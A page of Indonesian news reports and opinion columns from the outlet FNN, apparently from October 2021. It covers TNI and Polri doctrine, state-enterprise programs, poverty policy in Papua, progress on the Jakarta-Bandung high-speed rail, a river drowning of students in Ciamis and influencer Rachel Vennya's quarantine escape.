Oleh Sugengwaras (Bukan untuk didiskreditkan, tapi untuk dipahami, disadari dan diperbaiki) Kenapa? Beda sejarahnya, beda peran, fungsi dan tugas pokoknya, beda DOKTRIN nya, namun apakah harus beda KEDUDUKAN dan TINGKATNYA. Keduanya sebagai lembaga, badan, instansi yang sangat strategis bagi NKRI, yang hingga kini dengan segala kurang lebihnya masih diakui sebagai organisasi tersolid dan tervalid di Indonesia TNI lahir dari rakyat yang berjuang bersama sama dalam menuju dan mencapai kemerdekaan Indonesia dalam bentuk laskar laskar perjuangan didaerah daerah, kemudian dibentuk dan berubah ubah nama dari TRI, TNI, ABRI kemudian kembali TNI , yang berlandaskan Sapta Marga dan Sumpah Prajurit serta 8 TNI Wajib. Sedangkan POLRI, lahir dari warisan penjajah belanda, yang kemudian berlandaskan doktrin TRI BRATA dan CATUR PRASETYA. Kini, TNI dengan Tentara rakyat, Tentara Pejuang, Tentara Nasional dan Tentara Profesionalnya. Sedangkan Polri dengan PRESISI (Prediktif, Responsibilitas Transparansi berkeadilan)nya. Sapta Marga, merupakan landasan, doktrin yang menjadi pedoman tugas, kegiatan dan kerja SATUAN TNI, yang menggambarkan sebagai WNI, ksatria dan patriot bangsa yang membela dan setya kepada Pancasila, juga sebagai prajurit bhayangkari negara yang beriman dan bertaqwa, disiplin, tanggung jawab dan memegang teguh disiplin dan sumpah Prajurit, yang mengutamakan kejujuran, kebenaran dan keadilan Sumpah prajurit merupakan landasan bekal prajurit perorangan, yang menerapkan pentingnya kebersamaanya dengan rakyat untuk ramah tamah, sopan santun, jaga kehormatan diri dimuka umum, tidak menyakiti dan merugikan rakyat serta pelopor pembangunan disekitarnya, dengan standar terukur untuk dilakukan sebagai manusia individu. Sapta Marga dan Sumpah Prajurit tidak bisa dipisah pisahkan baik saat keadaan damai maupun perang, karena masing masing berperan sebagai pedoman dan pendukung. Di sisi lain, jika kita jujur, masih banyak kelemahan kelemahan pada doktrin Polri, baik pada TRI BRATA maupun CATUR PRASETYA. Yang tersurat dan tertuang dalam TRI BRATA, pada poin dua, hanya menyinggung soal kebenaran, keadilan dan kemanusiaan, pada hal jika tidak disinggung tentang kejujuran bisa berbahaya terhadap penyelingkuhan tetang tidak benar dikatakan benar atau tidak adil dikatakan adil. Begitu pula dalam CATUR PRASETYA, esensinya paradoks atau janggal, tidak logis sebagai manusia individu, perorangan, akan mampu mengerjakan tugas meniadakan segala bentuk ancaman/bahaya, menyelamatkan jiwa raga, harta benda, hak azasi manusia, menjamin kepastian hukum dan perasaan tentram, tenang dan aman masyarakat. Pandangan Jendral Tito, tentang Democratic Policing sebagai upaya perbaikan Polisi dalam mengayomi dan melindungi masyarakat, melalui sistem, struktur dan kultur yang dimantapkan oleh Jendral L Sigit P tentang pencanangan Presisi, saya meragukan akan terimplementasi dalam waktu singkat, bahkan nampak wes ewes dan preett.... Kenapa? Salah satunya bisa jadi penyebabnya karena mengabaikan KEJUJURAN pada TRIBRATA dan bermimpi terlalu tinggi untuk beban seorang Bhayangkara Negara pada CATUR PRASETYA. Oleh karenanya, dalam pandangan saya, Polri tidak perlu ragu atau malu, untuk segera berbenah diri / satuan terhadap Doktrin nya, agar tidak selalu berulang dan menambah catatan hitam rakyat atas tindakan dan perlakuan polisi yang merugikan kepolisian sendiri. Selanjutnya kepada TNI agar semakin memahami dan sadar untuk mengimplementasikan lebih baik terhadap doktrin Saptamarga, Sumpah Prajurit dan 8 TNI Wajib, abaikan arahan atau penjelasan sesat yang disampaikan Purn TNI senior Agus Wijoyo. Dengan kata lain saya menghimbau kepada teman teman dan saudara saudara siswa Lemhanas untuk bisa memilah dan memilih atas ilmu ilmu yang disajikan di lemhanas. Bahwa berbeda hakekat ancaman nyata dan tidak nyata yang dihadapi oleh TNI dan Polri ditinjau dari pandangan ruang dan waktu. TNI menghadapi ancaman ( Ruang ) nyata musuh pada (waktu) waktu yang bisa diprediksi, sedangkan Polisi ancaman nyata berupa (ruang) masyarakat bisa terjadi, setiap (waktu) selamanya. Bisa dibayangkan bedanya perencanaan, pelaksanaan pelatihan dan evaluasi antara TNI dan Polri. Oleh karenanya, piawai dan bijaklah sebagai pemimpin apapun tingkatannya, bahwa TNI adalah manusia manusia yang dipersiapkan untuk menghadapi musuh, yang kadang bisa mengabaikan HAM, sedangkan manusia manusia Polisi dalam rangka bukan menghadapi musuh tapi menghadapi masyarakat yang senantiasa menjunjung tinggi HAM. *Maka, demi kehormatan dan nama baik TNI POLRI, para pemimpin satuan tingkat apapun, harus bisa dan mampu mandiri untuk menegakkan dan menjaga kehormatan satuannya, tanpa harus menunggu dan mengikuti petunjuk / arahan Presidennya, karena bisa jadi presidenmu menganggap bukan levelnya untuk ikut campur tangan membinamu, atau bisa jadi Presidenmu pura pura atau benar benar tidak tahu dan tidak megerti terhadap satuanmu. Mantan Direktur Pendidikan dan Pengajaran Sesko TNI.

Munadi Herlambang Bawa Jasa Raharja Raih TOP CSV Award 2021

JAKARTA, FNN – PT Jasa Raharja meraih penghargaan Top CSV Award 2021 untuk kategori Traffic Hero and Youth Traffic Innovations dari Infobrand.co dan Trans Co Indonesia. Program Traffic Hero and Youth Innovations Jasa Raharja menyasar pemberdayaan para relawan pengatur lalu lintas di 60 titik rawan kecelakaan dan kemacetan. Penghargaan diterima langsung oleh Direktur Hubungan Kelembagaan Munadi Herlambang di Jakarta, Kamis (14/10/2024). “Kami ucapkan terimakasih kepada pihak penyelenggara serta dewan juri atas penghargaan yang diberikan kepada PT Jasa Raharja. Sebagai perusahaan asuransi di bidang kecelakaan dan lalu lintas darat, laut serta udara kami mengharapkan penghargaan ini menjadi motivasi kami untuk meningkatkan kinerja kerja insan Jasa Raharja pada tahun 2021 dan tahun tahun berikutnya,” ujar Munadi. Penghargaan Top CSV Award 2021 diberikan berdasarkan penilaian Creative Share Value yang merupakan sebuah pendekatan strategis untuk memastikan kesinambungan bisnis bersinergi dengan pemangku kepentingan. Penilaian didasarkan pada aspek konsep CSV (30 persen), dampak (50 persen), dan aspek branding (20 persen). Melalui program Traffic Hero and Youth Innovations ini, Jasa Raharja bekerja sama dengan masyarakat yang memiliki kepedulian kepada keselamatan berkendara. Program ini menyasar 30 orang sukarelawan yang ditempatkan di 60 titik rawan kecelakaan dan kemacetan. Selain itu, Jasa Raharja yang berkolaborasi dengan berbagai stakeholders, berhasil memberdayakan penghasilan tambahan para traffic hero serta mampu meningkatkan indeks kepuasan masyarakat dan menekan rasio angka kecelakaan. “Ke depannya, program CSR Jasa Raharja tidak akan hanya memberikan nilai tambah kepada stakeholders saja, tapi juga akan menambah sustainability bagi perusahaan. Semoga penghargaan ini dapat menginspirasi masyarakat dan insan Jasa Raharja selalu istiqomah dan melakukan yang terbaik untuk keberkahan kita semua,” tutur Munadi dalam sambutannya. Selain program Traffic Hero and Youth Traffic, Jasa Raharja juga sudah melakukan program CSR lainnya. Salah satunya adalah program Vaksinasi Merdeka JRKu. Program ini telah diikuti oleh 40.113 orang di 19 lokasi yang bekerjasama dengan berbagai stakeholders di berbagai daerah di Indonesia. Terakhir, Jasa raharja juga memiliki program untuk para penyandang disabilitas yakni Resilience Program, yakni program Pelatihan Digital untuk mengembangkan kemampuan khususnya literasi digital. Para Peserta akan mendapatkan pelatihan pengembangan diri serta membuat konten kreatif dan pemahaman literasi digital. (mth)

KKP Jadikan OKU Timur Daerah Sentral Pembibitan Benih Patin

Martapura, FNN - Kementerian Kelautan dan Perikanan (KKP) menjadikan Kabupaten Ogan Komering Ulu (OKU) Timur, Sumatera Selatan sebagai daerah sentral pembibitan benih ikan patin di kawasan Sumatra bagian selatan. Direktur Pembenihan Kementerian Kelautan dan Perikanan Nono Hartanto di Martapura, Ibu Kota Kabupaten OKU Timur, Sabtu, menyampaikan daerah berjuluk "Bumi Sebiduk Sehaluan" ini layak dijadikan daerah sentral pembibitan benih ikan sungai tersebut mengingat progres Kampung Patin di wilayah itu sudah berjalan dengan baik. "Rencananya program ini mulai akan berjalan di tahun 2022," katanya. Dia menjelaskan tim KKP sudah melakukan survei dan melihat langsung Balai Benih Ikan di Kabupaten OKU Timur yang memiliki potensi benih secara mandiri. "Hanya saja masih ada yang perlu dibenahi dari segi manajemennya dan SDM-nya. KKP sendiri siap membantu melalui UPT Perikanan Air Tawar Provinsi Jambi untuk cadangan induk yang unggul," katanya. Pihaknya juga sudah menyiapkan dukungan-dukungan untuk kampung Budi Daya Patin di OKU Timur seperti peralatan ekskavator dan mesin pakan mandiri yang akan memproduksi pakan 1-2 kilogram per jam, termasuk bantuan berupa sarana untuk pembenihan. "Ke depan kita harus menciptakan kemandirian seperti adanya pakan dan benih yang mandiri maka akan menambah profit bagi pembudi daya ikan patin di OKU Timur," ujar dia. Bupati OKU Timur Lanosin Hamzah mengatakan sejauh ini daerah tersebut masuk enam besar kabupaten di Indonesia yang terpilih menjadi lumbung pangan binaan KKP. "Alhamdulillah Kabupaten OKU Timur juga mendapat bantuan pakan ikan patin secara mandiri dari KKP RI," ujarnya. (mth)

Melalui Program Makmur, Kementerian BUMN Ingin Sejahterakan Petani

Jakarta, FNN - Menteri BUMN Erick Thohir mengatakan kementeriannya menginginkan para petani memperoleh kehidupan lebih sejahtera melalui program Makmur. "Kita BUMN mencoba untuk menjadi lokomotif, bersama pihak swasta tidak bersaing. Kita BUMN tidak mau menjadi menara gading, tetapi sudah sewajarnya para petani kita pastikan kehidupannya lebih baik," ujar Erick Thohir dalam acara tanam perdana jagung program Makmur di Lampung, Sabtu. Menteri BUMN menginginkan agar kesejahteraan petani meningkat dimana lahan-lahan milik petani tidak hilang, kemudian keluarganya sejahtera dan anak-anaknya bisa bersekolah. "Bismillah program Makmur ini kita coba gulirkan di beberapa daerah. Saya juga berterima kasih kepada pemerintah daerah, swasta, petani dan semua direksi BUMN yang percaya terhadap visi yang mau saya dorong ini," kata Erick. Erick Thohir menyampaikan bahwa tidak mungkin pada saat seperti ini semua pihak berdiri sendiri-sendiri. Semua pihak harus bergotong royong. Apalagi Covid ini benar-benar menekan tidak hanya kesehatan, namun juga perekonomian. Menurut Menteri BUMN, pandemi Covid-19 harus jadi momentum kebangkitan. Bangsa Indonesia sudah berapa kali mengalami krisis dan kemudian bisa bangkit terus. "Pandemi Covid membuat kesenjangan sosial, karena itu harus diintervensi supaya ekonominya seimbang. Karena itu saya berterima kasih atas kehadiran pihak swasta, BUMN, dan masyarakat terutama petani. Kita harus sama-sama bergotong royong dan karena itu kita berinisiasi dengan program Makmur ini," kata Erick. Erick menambahkan bahwa untuk program Makmur, BUMN fokus di tahap awal pada 40 ribu hektare untuk 28 ribu petani. Apabila program ini berjalan dengan baik baru nanti dibesarkan. Dalam program Makmur akan terlibat bank-bank anggota Himbara untuk membantu pembiayaan, Pupuk Indonesia membantu pendampingan, serta PT Rajawali Nusantara Indonesia atau RNI dan swasta sebagai offtaker-nya. "Supaya ini menjadi eksosistem yang sehat, sehingga semuanya diuntungkan. Allah SWT mengajarkan kepada kita hidup secara sesama. Semua ada ahlinya. Kita harus sama-sama begini, hidup rukun dan saling bantu," kata Erick. Menteri BUMN Erick Thohir melakukan tanam perdana jagung program Makmur di Lampung bersama para petani pada Sabtu (16/10). Turut hadir dalam acara tersebut Direktur Utama Pupuk Sriwidjaja Tri Wahyudi Saleh, Direktur Utama PT RNI Arief Prasetyo Adi, dan sejumlah pejabat terkait lainnya. (mth)

PT Timah Promosikan Produk UMKM Babel di Pameran BUMN Great Sale 2021

Pangkalpinang, FNN - PT Timah Tbk mempromosikan produk usaha mikro kecil menengah (UMKM) Provinsi Kepulauan Bangka Belitung di Pameran BUMN-UMKM Great Sale 2021, guna meningkatkan pemasaran produk UMKM di wilayah operasional perusahaan BUMN itu. "Ini salah satu upaya kita menggeliatkan promosi dan pemasaran produk UMKM di tengah pendemi COVID-19 ini," kata Kepala Bidang Humas Perusahaan PT Timah Tbk Anggi Sihaaan di Pangkalpinang, Sabtu. Ia mengatakan pada pameran BUMN-UMKM Great Sale 2021 ini, PT Timah tidak hanya membawa puluhan produk UMKM, tetapi juga mnghadirkan tiga UMKM yang merupakan mitra PT Timah Tbk untuk langsung mempromosikan produk mereka yakni, produk Getas dan Ampiang Afifah dari Desa Kurau, Bangka Tengah, Pengrajin Kopiah Resam dari Desa Dendang, Bangka Barat, dan Pengrajin Batik Pakkis dari Desa Simpang Katis, Bangka Tengah. Produk mitra binaan PT Timah Tbk yang dihadirkan dalam Pameran BUMN-UMKM Great Sale 2021 diantaranya ialah pewter kerajinan dari bahan dasar timah, kerajinan akar bahar, getas ikan, terasi, lada bubuk, ampiang dan berbagai produk lainnya. "Meski di tengah pandemi Covid-19 ini, PT Timah Tbk tetap konsisten mendukung dan memfasilitasi para mitra binaan untuk mempromosikan produknya di tingkat nasional melalui pameran maupun lokal," ujarnya. Ia menambahkan akhir September lalu, PT Timah Tbk juga menghadirkan mitra binaannya dalam ajang UMKM Babel Explore 2021 yang diselenggarakan Bank Indonesi di Pendopo Pantai Tanjung Kelayang, Belitung. Salah satu mitra binaan PT Timah yang mengikuti Pameran ini, Suryadi mengatakan ini merupakan kesempatan pertama baginya untuk mengenalkan kopiah resam Bangka Belitung ke tingkat nasional. Kopiah resam merupakan salah satu produk unggulan Bangka Belitung, selain kopiah, ia juga memproduksi gantungan, dan gelang. Beberapa produk ini juga dibawanya ke event pameran ini. “Alhamdullillah ini pertama kali saya bawa produk untuk pameran ke luar Pulau Bangka, kopiah resam ini kan menjadi ciri khas Bangka Belitung makanya saya ingin kenalkan ini ke masyarakat luas. Melalui pameran ini salah satunya, kami bersyukur dan sangat senang bisa difasilitasi dan diajak PT Timah untuk ikut pameran seperti ini, karena ini kesempatan agar produk kita semakin dikenal,” katanya. Bagi Suryadi, moment pameran seperti ini tidak hanya mengenalkan produknya saja, tapi juga meningkatkan motivasi dirinya untuk belajar dalam mengembangkan produk, karena bisa melihat produk dari berbagai daerah. Ia berharap, nantinya bisa diadopsi dan dikembangkan di dalam produknya. “Saya senang sekali ini juga jadi kesempatan untuk belajar, bahkan saya mulai berpikir untuk mengkreasikan dan mengkombinasikan kerajinan resam ini dengan cual bangka. Ini saya belajar melihat beberapa produk umkm yang ada di sini. Ini semakin memacu saya untuk mengembangkan produk,” ujar owner Along handcarft ini. Menurut dia dari beberapa pengunjung ada yang cukup penasaran dan tertarik dengan kopiah resam yang mereka tawarkan. Bahkan, dirinya menjelaskan mulai dari proses pembuatan hingga selesai. “Iya ada yang ngira ini buatnya gampang, padahal kan setiap kopiah ini tingkat kehalusannya berbeda. Semakin halus maka semakin bagus, ini yang saya coba jelaskan ke pengunjung dan akhirnya mereka tertarik,” katanya. (mth)

Ma'ruf Amin Minta Kepala Daerah di Papua Perkuat Perencanaan

Jayapura, FNN - Wakil Presiden, Ma’ruf Amin, meminta kepala daerah yang wilayahnya masuk dalam prioritas 2021 di Provinsi Papua untuk memperkuat perencanaan dan penganggaran program pengurangan kemiskinan ekstrem dalam APBD masing-masing, khususnya yang sesuai dengan karakteristik miskin ekstrem di wilayah masing-masing. "Anggaran bukan masalah utama dalam upaya penanggulangan kemiskinan ekstrem, karena anggaran kementerian dan lembaga serta pemerintah daerah cukup besar, namun tantangan terbesar kini adalah bagaimana membuat program-program tersebut konvergen dan terintegrasi dalam menyasar sasaran yang sama," katanya. Menurut dia, konvergensi merupakan faktor utama dalam penanggulangan kemiskinan ekstrem untuk memastikan seluruh program penanggulangan kemiskinan ekstrem mulai dari tahap perencanaan, penentuan alokasi anggaran, penetapan sasaran dan pelaksanaan program tertuju pada lokus yang sama baik itu secara wilayah maupun target masyarakat yang tepat. "Diminta agar gubernur dan seluruh bupati wilayah prioritas 2021 di Papua untuk dapat bekerja keras memastikan agar seluruh rumah tangga miskin ekstrem mendapatkan seluruh program, baik program pengurangan beban pengeluaran maupun program pemberdayaan," ujarnya. Ia menjelaskan dalam 2021 yang tinggal tiga bulan lagi akan disiapkan bantuan berupa tambahan uang tunai khusus untuk rumah tangga miskin ekstrem di lima kabupaten prioritas di Papua dengan menggunakan data yang sekarang tersedia. "Untuk program khusus 2021 ini, pihaknya akan menggunakan program yang ada yaitu Program Sembako dan BLT-Desa untuk memberikan dukungan tambahan bagi kelompok miskin ekstrem di lima kabupaten prioritas ini," katanya. Khusus untuk lima kabupaten di Papua yang menjadi prioritas pada 2021 ini, jumlah penduduk miskin ekstrem mencapai 196.120 jiwa dengan 89.500 rumah tangga miskin ekstrem. Jumlah itu tersebar di Kabupaten Jayawijaya dengan tingkat kemiskinan ekstrem 30,84 persen dan jumlah penduduk miskin ekstrem 67.720 jiwa, Kabupaten Puncak Jaya (26,53 persen/35.180 jiwa), dan Kabupaten Lanny Jaya (30,52 persen/54.920 jiwa), Kabupaten Mamberamo Tengah (29,19 persen/14.200 jiwa), dan Kabupaten Deiyai (32,48 persen/24.100 jiwa). Sebelumnya, Wapres Ma'ruf menggelar dialog dengan Pemerintah Provinsi Papua, forkompimda dan tokoh masyarakat guna membahas kemiskinan ekstrem serta percepatan pembangunan kesejahteraan wilayah setempat di Aula Sasana Krida Kantor Gubernur Dok II Jayapura pada Sabtu (16/10). Dialog itu bagian dari rangkaian kunjungan kerja di Provinsi Papua dalam rangka rapat koordinasi percepatan pembangunan kesejahteraan di Papua dan Papua Barat sesuai Instruksi Presiden Nomor 9/2020. Sekaligus untuk membahas prioritas pemerintah untuk pengurangan kemiskinan ekstrem pada 2021 guna mengentaskan kemiskinan ekstrem sampai nol persen pada 2024 di mana Papua merupakan salah satu dari tujuh provinsi prioritas penanggulangan kemiskinan ekstrem pada 2021. Ia juga telah melakukan kunjungan kerja di Jawa Timur, Jawa Barat, Jawa Tengah, Maluku dan Papua Barat, yang setelah di Papua akan dilanjutkan ke Provinsi NTT. (mth)

Pembangunan Kereta Cepat Jakarta-Bandung Sudah 79 Persen

Bandung, FNN - Pembangunan proyek Kereta Cepat Jakarta- Bandung (KCJB) hingga saat ini sudah mencapai 79 persen, dan PT KCIC pun terus melakukan berbagai upaya sehingga target operasional KCJB di akhir tahun 2022 bisa terwujud. Corporate Secretary PT KCIC, Mirza Soraya dalam siaran persnya, Sabtu, menuturkan saat ini PT KCIC bersama konsorsium kontraktor sedang berfokus untuk melakukan percepatan pembangunan di 237 titik konstruksi secara komprehensif. Pihaknya mengakui pandemi COVID-19 yang melanda dunia sejak tahun 2020 cukup menghambat proses pembangunan KCJB. “Pandemi cukup memberikan dampak pada proses pembangunan KCJB. Untuk itu sekarang fokus kami adalah melakukan percepatan pembangunan,” ujarnya. Adapun titik-titik konstruksi yang menjadi prioritas ke depan antara lain penyelesaian pengeboran tiga tunnel yang tersisa dari 13 tunnel yang ada di jalur KCJB. Ketiga tunnel prioritas itu adalah tunnel 2 sepanjang 1.040 meter di Jatiluhur, Purwakarta, tunnel empat sepanjang 1.315 meter di Plered, Purwakarta, dan tunnel 6 sepanjang 4.478 meter di Cikalong Wetan, Kabupaten Bandung Barat. Selain itu, PT KCIC juga akan menyelesaikan erection girder untuk konstruksi elevated track, terutama yang berada di DK 134 dan DK 134 di daerah Batununggal, Bandung, Jawa Barat. Tak hanya itu, Mirza menambahkan jika saat ini pekerjaan subgrade 18#, 19#, dan 20# yang berlokasi di perbatasan antara Kabupaten Karawang dan Kabupaten Purwakarta menjadi titik konstruksi yang dikebut pengerjaannya. Selain percepatan pada konstruksi jalur KCJB, Mirza memaparkan jika saat ini PT KCIC juga sedang melakukan percepatan pembangunan untuk stasiun Halim, Karawang, dan Tegalluar. "Saat ini, pengerjaan di tiga stasiun KCJB di Halim, Karawang, dan Tegalluar juga sedang kami kebut agar segera siap menyambut para penumpang sesuai target di akhir 2022," katanya. Sedangkan Electric Multiple Unit (EMU) atau kereta yang akan digunakan ketika operasional nanti saat ini sedang dalam tahap produksi di pabrik China Railway Rolling Stock Corporation (CRRC) Sifang yang berada di Qingdao, Tiongkok. Termasuk juga pembuatan Comprehensive Inspection Train (CIT) atau Kereta Inspeksi yang nanti digunakan untuk mengecek dan memastikan keamanan jalur kereta cepat. Untuk operasional Kereta Cepat Jakarta-Bandung, PT KCIC dengan kementerian terkait saat ini sedang melakukan pembahasan dan harmonisasi Rancangan Peraturan Menteri Perhubungan. Di sisi lain, dilakukan juga pelatihan SDM hingga pembuatan SOP sebagai bagian dari persiapan Operation Maintenance Readiness. "Dengan semua upaya yang kami lakukan, mudah-mudahan target operasional di tahun 2022 ini bisa tercapai,” ujarnya. Seperti yang diketahui, pada fase pertama operasi yang ditargetkan di akhir 2022, Kereta Cepat Jakarta-Bandung akan menempuh trase sepanjang 142,3 kilometer. Kereta Cepat Jakarta-Bandung akan melintasi 9 kota dan kabupaten di Provinsi DKI Jakarta dan Provinsi Jawa Barat. Stasiun keberangkatan sekaligus kedatangan kereta cepat berada di wilayah Jakarta, yakni melalui Stasiun Halim, kemudian melintasi Stasiun Karawang, Stasiun Hub Padalarang dan berakhir di Stasiun Tegalluar. (mth)

Rachel Vennya Juga Harus Dihukum

Oleh: Mochamad Toha Nama Rachel Vennya kembali menjadi perbincangan hangat di media massa dan media sosial. Bukan karena membuka cabang bisnis baru, melainkan karena diduga kabur dari Wisma Atlet saat masa karantina. Rachel seharusnya menjalani masa karantina setelah pulang dari New York, Amerika Serikat. Ia adalah satu dari sekian banyak pesohor yang diboyong salah satu merek pakaian asal Indonesia ke Big Apple. Rachel berhasil “kabur” karena dibantu oknum anggota TNI berinisial FS yang diduga melakukan pengaturan selebgram Rachel Vennya kabur dari karantina usai kembali ke Jakarta dari Amerika Serikat. “Yang bersangkutan (FS) sudah dinonaktifkan untuk dikembalikan (lagi) ke kesatuan,” kata Kepala Penerangan Kodam Jaya Kolonel Artileri Pertahanan Udara (Arh) Herwin BS di Jakarta, Jumat. ​​ Mengutip CNN Indonesia, Kamis (14/10/2021 16:45 WIB), FS dinonaktifkan sejak Kamis kemarin untuk memudahkan proses penyelidikan yang kini ditangani Polisi Militer. Kodam Jaya tidak main-main dalam kasus tersebut mengingat instansi militer ini merupakan Komando Satuan Tugas Gabungan Terpadu COVID-19. Sebelumnya, jagat medsos diramaikan dengan ulasan seorang warganet di twitter yang menyaksikan selebgram itu menjalani karantina hanya 3 hari di Wisma Atlet, Jakarta. Informasi tersebut kemudian viral hingga diusut Kodam Jaya. Kodam Jaya menemukan FS yang menjadi bagian Satuan Tugas Pengamanan Bandara Internasional Soekarno Hatta yang diduga mengatur agar selebgram Rachel Vennya lolos dari karantina setelah kembali dari luar negeri. “Pada saat pendalaman kasus, ditemukan adanya dugaan tindakan non prosedural oleh oknum anggota Pengamanan Bandara Soetta berinisial FS,” kata Kolonel Herwin. Buntut kasus itu, Kodam Jaya melakukan penyelidikan dari hulu hingga hilir, mulai dari ketika tiba di bandara sampai dengan di RSDC Wisma Atlet Pademangan. Kaburnya Rachel dari karantina tersebut, membuat ia dibulli oleh netizen. Selebgram ini lahir di Jakarta, 25 September 1995, dengan nama lengkap Rachel Vennya Roland. Ia, putri dari Andrea Roland dan Vien Tasman. Rachel tumbuh dalam keluarga yang broken home. Setelah orangtuanya berpisah, ia berjuang hidup bersama sang ibunda dan mulai merintis bisnis sejak remaja. Beragam usaha ia lakukan, mulai dari menekuni profesi makeup artist hingga berjualan produk secara online. Selain dikenal karena usahanya, nama Rachel semakin dikenal kawula muda karena hubungan asmaranya yang romantis dengan Niko Al Hakim. Dinobatkan sebagai pasangan ideal, Rachel dan Niko akhirnya menikah pada 7 Januari 2017. Dari pernikahan itu, mereka dikaruniai dua anak yakni Xabiru dan Chava. Setelah menikah dengan Niko, Rachel makin getol meningkatkan gurita bisnisnya, seperti bidang kuliner dan brand clothing line. Mereka kala itu dinilai sebagai pasangan muda yang sukses dengan bisnisnya. Sayang, pernikahan itu hanya bertahan 4 tahun. Rachel lalu melayangkan gugatan cerai ke Pengadilan Agama Jakarta Selatan dan mereka dinyatakan resmi bercerai pada 16 Februari 2021. Rachel tak butuh waktu lama menemukan cintanya lagi. Setelah menjanda, perempuan berusia 25 tahun itu menjalin asmara dengan Salim Nauderer, pria berdarah Jerman-Indonesia. Perjalanan Rachel hingga menjadi selebgram seperti sekarang bisa dibilang tidak instan. Sejak kecil ia hanya tinggal dengan ibunya dan bersama-sama mengembangkan usaha pakaian dan pil pelangsing tubuh. Usaha pil pelangsing tubuh berawal dari pengalaman Rachel sendiri. Dulu Rachel pernah merasa tubuhnya berlebih sehingga meminum jamu dari ibunya. Sejak saat itu badannya mulai langsing seperti yang ia inginkan. Jamu itu kemudian dikemas menjadi pil agar lebih mudah dikonsumsi oleh pembeli. Secara perlahan bisnisnya ini berkembang yang membuat pundi-pundi Rachel dan ibunya semakin banyak. Rachel juga menekuni pekerjaan sebagai make up artist. Dari usaha ini, ia mendapat penghasilan tambahan dan membuat namanya dikenal secara perlahan. Kesibukan bisnis yang ia jalankan tak membuatnya melupakan pendidikan. Rachel sukses mendapatkan gelar S1 dari London School Public of Relation yang dilanjutkan dengan gelar S2 melalui beasiswa. Pada saat yang sama, Rachel terbilang sangat aktif di medsos. Ia kerapkali membagikan berbagai hal mulai dari kegiatan sehari-hari, gaya hidup, juga fashion dan lain-lain. Kegiatan itu membuat popularitasnya di medsos semakin menanjak secara perlahan. Hingga akhirnya Rachel mendapatkan banyak endorse alias iklan dari berbagai merek. Langgar Hukum Selebgram Rachel Vennya jelas telah melanggar Keputusan Ketua Satgas Penanganan Nomor 12 Tahun 2021, yang diteken Ketua Satuan Tugas Penanganan Covid-19 Ganip Warsito pada 15 September 2021. Rachel diwajibkan karantina selama 8 x 24 jam. Sebab, baru pulang dari kelayapan di AS. Tapi hanya melakukan 3 x 24 jam. Ia melarikan diri dari Rumah Karantina. Dibantu personil TNI bernama FS, yang disogok untuk memuluskan proses pelanggaran hukumnya. Karena itu, Rachel Vennya harus mendapatkan sanksi seperti yang diatur dalam UU Nomor 4 Tahun 1984 tentang Wabah Penyakit Menular, dan UU Nomor 6 Tahun 2018 tentang Kekarantinaan Kesehatan. Dalam salah satu pasalnya disebutkan, si pelanggar yang terbukti dapat dijatuhi hukuman kurungan satu tahun penjara dan atau pidana denda paling banyak Rp 100 juta. Aturan itu harus dilaksanakan secara tegak lurus. Harus diberlakukan pada semua pelanggar hukum. Sehingga tidak menjadi preseden buruk dalam penegakan hukum. Tidak ada lagi yang sesumbar bisa membeli hukum. Tidak ada lagi yang berdendang hukum bisa dibeli. Rachel Vennya memang populer dan terkenal. Namun Rachel Vennya tetap orang biasa. Ada penilaian, Rachel Vennya hanya selebgram yang tidak ada manfaatnya bagi NKRI. Rachel Vennya justru membuktikan ia adalah sosok yang melecehkan dan menistakan kedaulatan hukum di Indonesia. Karena itu, Rachel Vennya harus dihukum. Harus diberi ganjaran sanksi. Untuk membuktikan ke dunia, hukum di Indonesia tak bisa dipermainkan. Hukum di Indonesia tak bisa dibeli. Namun, saya juga gundah gulana. Apakah hukum mampu bersikap keras terhadap Rachel Vennya, seperti sok tegas hukum terhadap Habib Rizieq Shihab? Penulis adalah Wartawan FNN.co.id

Siswa MTs yang Hanyut Ditemukan, Sebelas Tewas

Ciamis, (FNN) - Sebanyak 11 orang siswa Madrasyah Tsanawiyah (MTs) Harapan Baru, Kabupaten Ciamis, Jawa Barat, yang hanyut di Sungai Cileueur ditemukan tewas. Sepuluh siswa lainnya ditemukan selamat. "Dipastikan tidak ada lagi laporan korban yang belum ditemukan. Seluruh korban telah ditemukan, dan dievakuasi, sudah sesuai dengan data jumlah yang disampaikan oleh pihak sekolah," kata Kepala Kantor SAR Bandung, Deden Ridwansah melalui siaran pers diterima di Ciamis, Sabtu, 16 Oktober 2021. Ia menyampaikan, seluruh data siswa yang terbawa hanyut sebanyak 21 orang. Terdidri dari 11 orang ditemukan dalam keadaan meninggal dunia, 10 orang selamat. Dua di antara yang selamat menjalani perawatan medis di rumah sakit. Tim gabungan yang diterjunkan ke lapangan, kata dia, sudah melakukan proses penyisiran dan mengevakuasi seluruh korban yang dilaporkan tenggelam setelah menyusuri Sungai Cileueur Leuwi, Dusun Wetan, Desa Utama, Kecamatan Cijeunjing, Ciamis, Jumat, 15 Oktober 2021. Sampai pukul 23.30 WIB, kata Deden, jajarannya bersama seluruh tim SAR gabungan lainnya tetap siaga. Mereka melakukan koordinasi dengan pihak kepolisian, sekolah, Pemkab Ciamis, dan keluarga korban hingga diputuskan proses pencarian selesai dan ditutup. "Dengan telah dievakuasinya seluruh korban dan debriefing unsur SAR gabungan, maka dilakukan penutupan operasi SAR, seluruh unsur kembali ke kesatuan masing-masing," katanya. Sebelumnya, berdasarkan laporan di lapangan, kegiatan menyusuri sungai di Dusun Wetan, Desa Utama, Kecamatan Cijeunjing, Ciamis melibatkan 150 siswa. Namun tiba-tiba sejumlah siswa terbawa hanyut arus air sungai. Mereka tenggelam, hingga menyebabkan korban jiwa. (MD).

Jakarta Resmi Jadi Tuan Rumah Balap Mobil Listrik Formula E

